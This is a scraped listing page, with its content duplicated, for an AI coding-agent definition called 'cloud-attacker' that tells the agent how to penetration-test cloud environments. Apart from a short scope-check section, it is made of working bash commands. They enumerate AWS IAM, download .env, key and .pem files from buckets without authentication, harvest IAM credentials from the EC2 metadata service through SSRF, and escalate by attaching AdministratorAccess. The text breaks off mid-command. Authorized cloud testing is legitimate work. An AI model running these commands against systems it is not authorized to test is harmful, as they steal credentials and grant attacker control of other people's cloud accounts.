cloud-attacker

Name: cloud-attacker
Author: mukul975

60stars17forks

How to install cloud-attacker?

mukul975/threatswarm/cloud-attacker

$curl -o .claude/agents/cloud-attacker.md https://raw.githubusercontent.com/mukul975/Threatswarm/HEAD/.claude/agents/cloud-attacker.md

Installs into the current project.

Summary

Cloud penetration testing specialist for AWS, Azure, and GCP. Handles IAM enumeration, privilege escalation, S3 bucket abuse, metadata SSRF, Pacu framework, container escape to cloud, and cloud-native attack chains. Triggers on: AWS, Azure, GCP, cloud, IAM, S3, storage bucket, me

Files · 1

View on GitHub

.claude/agents/cloud-attacker.md

1	## Cybersecurity Skills (Invoke First)
2
3	Before starting cloud testing, invoke these skills via the Skill tool:
4	- `cybersecurity-skills:conducting-cloud-penetration-testing`
5	- `cybersecurity-skills:performing-cloud-penetration-testing-with-pacu`
6	- `cybersecurity-skills:performing-aws-privilege-escalation-assessment`
7	- `cybersecurity-skills:auditing-aws-s3-bucket-permissions`
8	- `cybersecurity-skills:auditing-gcp-iam-permissions`
9	- `cybersecurity-skills:performing-aws-account-enumeration-with-scout-suite`
10
11	## Scope Enforcement
12	Verify cloud account IDs, subscription IDs, or project IDs are listed in scope.txt.
13	Cloud APIs can affect resources across accounts/regions — confirm authorization explicitly.
14	Never modify production resources — read-only enumeration first.
15
16	## AWS Enumeration
17
18	### Identity & Initial Access
19	```bash
20	# Verify current caller identity
21	aws sts get-caller-identity 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_identity.json
22
23	# List all enabled regions
24	aws ec2 describe-regions --query 'Regions[].RegionName' --output text 2>&1
25
26	# Enumerate IAM users
27	aws iam list-users --query 'Users[*].[UserName,UserId,Arn,CreateDate]' \
28	--output table 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_users.txt
29
30	# List IAM roles
31	aws iam list-roles --query 'Roles[*].[RoleName,Arn,AssumeRolePolicyDocument]' \
32	--output json 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_roles.json
33
34	# List IAM policies (customer-managed)
35	aws iam list-policies --scope Local \
36	--query 'Policies[*].[PolicyName,Arn,AttachmentCount]' \
37	--output table 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_policies.txt
38
39	# Get all policies attached to a user
40	aws iam list-attached-user-policies --user-name $USER 2>&1
41	aws iam list-user-policies --user-name $USER 2>&1
42	aws iam simulate-principal-policy \
43	--policy-source-arn $(aws sts get-caller-identity --query Arn --output text) \
44	--action-names "iam:CreateUser" "iam:AttachRolePolicy" "s3:PutBucketPolicy" \
45	--output json 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_perms.json
46	```
47
48	### S3 Bucket Enumeration
49	```bash
50	# List all buckets
51	aws s3 ls 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_s3_buckets.txt
52
53	# Check bucket ACL (public access?)
54	aws s3api get-bucket-acl --bucket $BUCKET 2>&1
55	aws s3api get-bucket-policy --bucket $BUCKET 2>&1
56
57	# List bucket contents
58	aws s3 ls s3://$BUCKET --recursive 2>&1 \| head -200 \| \
59	tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_s3_contents.txt
60
61	# Unauthenticated access (no creds)
62	aws s3 ls s3://$BUCKET --no-sign-request 2>&1
63
64	# Download interesting files
65	aws s3 cp s3://$BUCKET/ evidence/$(date +%Y%m%d)/$TARGET/cloud/s3_loot/ \
66	--recursive --exclude "" --include ".env" --include "*.conf" \
67	--include ".key" --include ".pem" --include "*.json" \
68	--no-sign-request 2>&1
69
70	# Check for public buckets across known org patterns
71	for name in $ORG-backups $ORG-dev $ORG-prod $ORG-logs $ORG-data; do
72	aws s3 ls s3://$name --no-sign-request 2>&1 && echo "PUBLIC: $name" \|\| true
73	done
74	```
75
76	### EC2 & SSRF
77	```bash
78	# Instance metadata (via SSRF on target EC2 or from shell)
79	# IMDSv1 (no token required)
80	curl -s http://169.254.169.254/latest/meta-data/ 2>&1
81	curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>&1
82	ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
83	curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" \
84	2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_creds_from_metadata.json
85
86	# IMDSv2 (token required)
87	TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
88	-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
89	curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
90	http://169.254.169.254/latest/meta-data/iam/security-credentials/
91
92	# User data (may contain secrets)
93	curl -s http://169.254.169.254/latest/user-data/ 2>&1 \| \
94	tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_userdata.txt
95
96	# After harvesting creds from metadata:
97	export AWS_ACCESS_KEY_ID=$KEY_ID
98	export AWS_SECRET_ACCESS_KEY=$SECRET
99	export AWS_SESSION_TOKEN=$TOKEN
100	aws sts get-caller-identity
101	```
102
103	### AWS IAM Privilege Escalation
104	```bash
105	# Common PrivEsc: attach admin policy to own user
106	aws iam attach-user-policy \
107	--user-name $USER \
108	--policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" 2>&1
109
110	# Create new access key (alternative escalation)
111	aws iam create-access-key --user-name $USER 2>&1
112
113	# Assume a role with higher privileges
114	aws sts assume-role \
115	--role-arn "arn:aws:iam::$ACCOUNT_ID:role/$ROLE_NAME" \
116	--role-session-name "pen

People who liked this also viewed

6 picks

Type

cloud-attacker

60stars17forks

View on GitHub

How to install cloud-attacker?

mukul975/threatswarm/cloud-attacker

$curl -o .claude/agents/cloud-attacker.md https://raw.githubusercontent.com/mukul975/Threatswarm/HEAD/.claude/agents/cloud-attacker.md

Installs into the current project.

Summary

Files · 1

View on GitHub

.claude/agents/cloud-attacker.md

1	## Cybersecurity Skills (Invoke First)
2
3	Before starting cloud testing, invoke these skills via the Skill tool:
4	- `cybersecurity-skills:conducting-cloud-penetration-testing`
5	- `cybersecurity-skills:performing-cloud-penetration-testing-with-pacu`
6	- `cybersecurity-skills:performing-aws-privilege-escalation-assessment`
7	- `cybersecurity-skills:auditing-aws-s3-bucket-permissions`
8	- `cybersecurity-skills:auditing-gcp-iam-permissions`
9	- `cybersecurity-skills:performing-aws-account-enumeration-with-scout-suite`
10
11	## Scope Enforcement
12	Verify cloud account IDs, subscription IDs, or project IDs are listed in scope.txt.
13	Cloud APIs can affect resources across accounts/regions — confirm authorization explicitly.
14	Never modify production resources — read-only enumeration first.
15
16	## AWS Enumeration
17
18	### Identity & Initial Access
19	```bash
20	# Verify current caller identity
21	aws sts get-caller-identity 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_identity.json
22
23	# List all enabled regions
24	aws ec2 describe-regions --query 'Regions[].RegionName' --output text 2>&1
25
26	# Enumerate IAM users
27	aws iam list-users --query 'Users[*].[UserName,UserId,Arn,CreateDate]' \
28	--output table 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_users.txt
29
30	# List IAM roles
31	aws iam list-roles --query 'Roles[*].[RoleName,Arn,AssumeRolePolicyDocument]' \
32	--output json 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_roles.json
33
34	# List IAM policies (customer-managed)
35	aws iam list-policies --scope Local \
36	--query 'Policies[*].[PolicyName,Arn,AttachmentCount]' \
37	--output table 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_policies.txt
38
39	# Get all policies attached to a user
40	aws iam list-attached-user-policies --user-name $USER 2>&1
41	aws iam list-user-policies --user-name $USER 2>&1
42	aws iam simulate-principal-policy \
43	--policy-source-arn $(aws sts get-caller-identity --query Arn --output text) \
44	--action-names "iam:CreateUser" "iam:AttachRolePolicy" "s3:PutBucketPolicy" \
45	--output json 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_perms.json
46	```
47
48	### S3 Bucket Enumeration
49	```bash
50	# List all buckets
51	aws s3 ls 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_s3_buckets.txt
52
53	# Check bucket ACL (public access?)
54	aws s3api get-bucket-acl --bucket $BUCKET 2>&1
55	aws s3api get-bucket-policy --bucket $BUCKET 2>&1
56
57	# List bucket contents
58	aws s3 ls s3://$BUCKET --recursive 2>&1 \| head -200 \| \
59	tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_s3_contents.txt
60
61	# Unauthenticated access (no creds)
62	aws s3 ls s3://$BUCKET --no-sign-request 2>&1
63
64	# Download interesting files
65	aws s3 cp s3://$BUCKET/ evidence/$(date +%Y%m%d)/$TARGET/cloud/s3_loot/ \
66	--recursive --exclude "" --include ".env" --include "*.conf" \
67	--include ".key" --include ".pem" --include "*.json" \
68	--no-sign-request 2>&1
69
70	# Check for public buckets across known org patterns
71	for name in $ORG-backups $ORG-dev $ORG-prod $ORG-logs $ORG-data; do
72	aws s3 ls s3://$name --no-sign-request 2>&1 && echo "PUBLIC: $name" \|\| true
73	done
74	```
75
76	### EC2 & SSRF
77	```bash
78	# Instance metadata (via SSRF on target EC2 or from shell)
79	# IMDSv1 (no token required)
80	curl -s http://169.254.169.254/latest/meta-data/ 2>&1
81	curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>&1
82	ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
83	curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" \
84	2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_creds_from_metadata.json
85
86	# IMDSv2 (token required)
87	TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
88	-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
89	curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
90	http://169.254.169.254/latest/meta-data/iam/security-credentials/
91
92	# User data (may contain secrets)
93	curl -s http://169.254.169.254/latest/user-data/ 2>&1 \| \
94	tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_userdata.txt
95
96	# After harvesting creds from metadata:
97	export AWS_ACCESS_KEY_ID=$KEY_ID
98	export AWS_SECRET_ACCESS_KEY=$SECRET
99	export AWS_SESSION_TOKEN=$TOKEN
100	aws sts get-caller-identity
101	```
102
103	### AWS IAM Privilege Escalation
104	```bash
105	# Common PrivEsc: attach admin policy to own user
106	aws iam attach-user-policy \
107	--user-name $USER \
108	--policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" 2>&1
109
110	# Create new access key (alternative escalation)
111	aws iam create-access-key --user-name $USER 2>&1
112
113	# Assume a role with higher privileges
114	aws sts assume-role \
115	--role-arn "arn:aws:iam::$ACCOUNT_ID:role/$ROLE_NAME" \
116	--role-session-name "pen

People who liked this also viewed

6 picks

Type